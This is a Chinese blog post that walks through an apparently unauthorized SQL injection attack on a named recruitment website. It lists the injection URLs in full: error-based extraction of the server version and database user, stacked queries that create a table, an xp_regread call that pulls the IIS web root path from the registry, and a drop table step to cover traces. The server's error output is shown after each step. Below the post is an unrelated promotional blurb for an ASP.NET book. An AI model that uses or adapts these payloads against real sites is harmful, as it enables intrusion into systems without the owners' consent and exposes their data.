攻击ASP.net网站实例

3 篇文章 0 订阅

今天上了一个人才招聘网站,对他们的招聘系统我很感兴趣,aspx结尾的,看来是.net的程序,这样的网站会不会有什么漏洞呢?顺便打开一条消息 http://www.cnwill.com/NewsShow.aspx?id=4847 ,然后加一个' 看看出现什么?我晕。。

  Source: .Net SqlClient Data Provider

  Description: 字符串 '' 之前有未闭合的引号。

  TargeSite: System.Data.SqlClient.SqlDataReader ExecuteReader(System.Data.CommandBehavior, System.Data.SqlClient.RunBehavior, Boolean)

  似乎有可能,然后 1=1 正常 1=2出错。。这和asp的似乎没有区别阿。。于是把NBSI挂上了,竟然也可以猜出表名来,和ASP没区别。不过NBSI不认识这里的出错信息,只能按照没有提示的方式破。。先暂停一下NBSI,输入

  http://www.cnwill.com/NewsShow.aspx?id=4844%20and%200<;>(select%20@@version)--

  提示:

  Source: .Net SqlClient Data Provider

  Description: 将 nvarchar 值 'Microsoft SQL Server 2000 - 8.00.760 (Intel X86) Dec 17 2002 14:22:05 Copyright (c) 1988-2003 Microsoft Corporation Enterprise Edition on Windows NT 5.0 (Build 2195: Service Pack 4) ' 转换为数据类型为 int 的列时发生语法错误。

  TargeSite: Boolean Read()

  是个2000的Enterprise server而且SP4了。。然后

  _name">http://www.cnwill.com/NewsShow.aspx?id=4844%20and%200<;>user_name()

  提示:

  Source: .Net SqlClient Data Provider

  Description: 将 nvarchar 值 'dbo' 转换为数据类型为 int 的列时发生语法错误。

  TargeSite: Boolean Read()

  哦?用dbo的身份连接?应该有搞头。。

  首先按照破解ASP网站的方法,要他的绝对路径用以下,第一步建立一个表:

  http://www.cnwill.com/NewsShow.aspx?id=4844;create%20table%20[dbo].[cyfd]([gyfd][char](255))--

  把web路径写进去

  http://www.cnwill.com/NewsShow.aspx?id=4844;DECLARE @result varchar(255) exec master.dbo.xp_regread 'HKEY_LOCAL_MACHINE','SYSTEM/CONTROLSet001/Services/W3SVC/Parameters/Virtual Roots', '/' ,@result output insert into cyfd (gyfd) values(@result);--

  还是让他不匹配,显示错误

  http://www.cnwill.com/NewsShow.aspx?id=4844 and 1=(select count(*) from cyfd where gyfd >1)

  得到提示:

  Source: .Net SqlClient Data Provider

  Description: 将 varchar 值 'Y:/Web/烟台人才热线后台管理系统,,201 ' 转换为数据类型为 int 的列时发生语法错误。

  TargeSite: Boolean Read()

  哈哈哈。。路径暴露了。。

  接下来删除痕迹

  http://www.cnwill.com/NewsShow.aspx?id=4844;drop%20table%20cyfd;--

  后边该怎么做就不多说了。。和攻击ASP的网站一样。。

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
ASP.NET开发实例大全是一本教程,涵盖了广泛的ASP.NET开发实例,旨在帮助开发人员快速了解和掌握ASP.NET的各种应用场景和技术细节。该书包含了大量的实用案例,如网站开发、Web应用程序开发、数据库应用程序开发等。通过学习这些实例,读者可以获得丰富的实战经验和技能,提高自己的开发能力。 这本书是以光盘ISO的形式提供的。光盘ISO是一个光盘镜像文件,包含了光盘的完整内容。读者可以通过光盘ISO文件将相关代码、示例文件和其他资源复制到计算机上。这样,读者就可以方便地查阅和使用书中的实例代码,进行学习和实践。 如果你想提高自己的ASP.NET开发技能,ASP.NET开发实例大全是一个很好的资源。通过学习书中的实例,你可以更好地理解ASP.NET的工作原理和应用方式,了解ASP.NET的各种功能和特性。这本书的光盘ISO提供了便捷的资源访问方式,你可以随时随地查看实例代码并进行实践。同时,这本书的实例非常丰富,能够涵盖各种使用场景,帮助你提升自己的开发能力。 总而言之,ASP.NET开发实例大全是一本非常有价值的教程,通过学习其中的实例,你可以快速提升自己的ASP.NET开发技能。同时,光盘ISO的提供方式也使得你可以随时随地访问相关资源,更好地进行实践。希望你能够利用这本书来提升自己的技能,并在ASP.NET开发领域取得更大的成就。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值